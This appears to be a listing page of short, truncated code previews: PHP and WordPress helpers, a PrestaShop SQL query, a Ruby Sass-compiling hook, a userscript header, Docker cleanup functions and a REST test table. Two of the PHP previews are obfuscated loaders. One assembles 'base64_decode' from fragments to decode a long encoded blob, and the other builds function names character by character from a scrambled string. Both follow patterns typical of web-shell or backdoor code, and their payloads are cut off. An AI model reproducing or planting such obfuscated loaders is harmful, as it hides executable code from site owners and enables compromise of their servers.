This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$array_map_recursive = function ($fn, $arr) use(&$array_map_recursive) { | |
$rarr = array (); | |
foreach ( $arr as $k => $v ) { | |
$rarr [$k] = is_array ( $v ) ? $array_map_recursive ( $fn, $v ) : $fn ( $v ); // or call_user_func($fn, $v) | |
} | |
return $rarr; | |
}; | |
ex: $ini = $array_map_recursive('htmlspecialchars_decode', $ini); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
UPDATE `ps_feature` f LEFT JOIN | |
(SELECT @i := @i +1 AS rank, id_feature, position, test | |
FROM `ps_feature` JOIN (SELECT @i := 0) dummy | |
ORDER by position) AS f2 | |
USING(id_feature) | |
SET f.position = f2.rank-1 | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
site_dir = `git rev-parse --show-toplevel`.strip! | |
themes_dir = site_dir + "/themes" | |
Dir[ themes_dir + "/*"].each do |theme| | |
if File.exist?("#{theme}/config.rb") | |
puts "Compiling Sass for production environment: #{theme}" | |
system "compass compile -e production --force #{theme}" | |
system "git add #{theme}/*" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Custom Google Menu 2 | |
// @namespace http://witmeyer.me | |
// @description Custom Google Menu 2 | |
// @include /^https?://www\.google\.(com|fr)// | |
// @grant none | |
// @version 1 | |
// ==/UserScript== | |
(function() { | |
var settings = [ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function evollia_visible_shortcode( $atts, $content = null ) { | |
extract( shortcode_atts( array( | |
'start_date' => '', | |
'end_date' => '', | |
), $atts ) ); | |
$today = new DateTime( date('Y-m-d') ); | |
$display = true; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Add social networks fields to aithor profil and author info box | |
add_filter('user_contactmethods', 'manoz_profile_fields'); | |
function manoz_profile_fields( $profile_fields ) { | |
$profile_fields['twitter'] = __( 'Twitter URL', 'textdomain' ); | |
$profile_fields['facebook'] = __( 'Facebook URL', 'textdomain' ); | |
$profile_fields['gplus'] = __( 'Google+ URL', 'textdomain' ); | |
$profile_fields['linkedin'] = __( 'LinkedIn URL', 'textdomain' ); | |
$profile_fields['dribbble'] = __( 'Dribbble URL', 'textdomain' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $wp__wp='base'.(32*2).'_de'.'code';$wp__wp=$wp__wp(str_replace("\n", '', 'FbU73jxnF0zEeozQtqJVkCnVfl41xDyvSZ/ROaJxCwsyVeJNeq/z2SUDr1+T5LHj/ALXoZn6tuxmkoac | |
jtgAhunyXqRrUefZs7mbsLqtg7MVewtH87r8K7fwDzOsZ4hHyqZyF8CLY8YDU1fXaRE4oCBO88GqBeQF | |
LuHfrLm60uRPyR2xzlTuLNQVBermyz1D8RacKV/CKvzXUdoW9hIJJM3CmK1QDTiLjtLCLZ5w+GdvkH4N | |
kroDGYExsa251S7dfFLnnUdHvqZJRBfheLq2nl44spZOCXSbiNl6hUlq51iAvTp8KyheuGvVdE1yNzS+ | |
kwTkDjqaXpMhARZYbypV2bvrGZcHTf4aJXiFZUl3czGHDltn8DPUBvj8Px4iCGP2XhLgDrolr+1QNNbX | |
119DVp/fh6liLN4iOtNv59tCk3WHdtSF12sgkhaeMYR6UeemSK4OE/lFyLK9mMbO6pQi9IMrkzDgaPpf | |
YEd3s6Q/nsEJlJz+7YS9q73Rzb+ix4oGtuWrWXUADQO+YnSqhf6paDlrFKbcC1Vaq7mi4cIdebWFDSaY | |
CL5VAN8C68iraqz/mVo1TijMsMXObbnQSH9XpXc6efUYH6z8FfS7Bo9xs7x3sD7vaTVxny2FKM7AwB0+ | |
pWeZGcT1S7UufEocDDOuuwQOJMAgpLJqXnjMdT7zmJBdbMHoGMf26Pf0eODEV5p7TCzw6iUBWdBHtoMO | |
8NemlzClD3gqTCgUlDJliuDDmyn+1lEpKXeoVbc+idZC5oD0fbZduQXbL5TXLExr7udavIN1UcEqgAZM |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?$i59="Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW"; $GLOBALS['kyvlc2'] = $i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[94].$i59[83].$i59[55].$i59[76].$i59[16].$i59[29]; $GLOBALS['osuwk64'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[10].$i59[82].$i59[55]; $GLOBALS['mrkzp11'] = $i59[63].$i59[2].$i59[55].$i59[76].$i59[94].$i59[53].$i59[28]; $GLOBALS['olhjz88'] = $i59[54].$i59[17].$i59[7]; $GLOBALS['gtwpr99'] = $i59[56].$i59[50].$i59[29].$i59[24].$i59[91].$i59[9].$i59[92]; $GLOBALS['azxqi23'] = $i59[65].$i59[10].$i59[1].$i59[56].$i59[1].$i59[9].$i59[53]; $GLOBALS['ttins71'] = $i59[10].$i59[49].$i59[49].$i59[55].$i59[24].$i59[9].$i59[28]; $GLOBALS['biplj38'] = $i59[69].$i59[74].$i59[63].$i59[49].$i59[91].$i59[18].$i59[18]; $GLOBALS['fufff37'] = $i59[2].$i59[83].$i59[16].$i59[54].$i59[10].$i59[79].$i59[34]; $GLOBALS['llsic87'] = $i59[30].$i59[74].$i59[24].$i59[56].$i59[29].$i59[53].$i59[53]; $GLOBALS['npqfu35'] = |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function docker.clean_containers() { | |
docker rm $(docker ps -a | grep -v Up | grep -v CONTAINER | cut -f 1 -d ' ') | |
} | |
function docker.clean_images() { | |
docker rmi $(docker images | grep none | tr -s ' ' | cut -f 3 -d ' ') | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Test | How | HTTP code expected | Assertions | | |
|------------------------------------------------|--------------------------------------|--------------------|------------------------| | |
| Should create a resource | Send full valid data | 201 | Check each property | | |
| Should fail returning all mandatory properties | Send a single non mandatory property | 400 | Count number of errors | | |
| Should fail if ... | Send data against business logic | 400 | | |
OlderNewer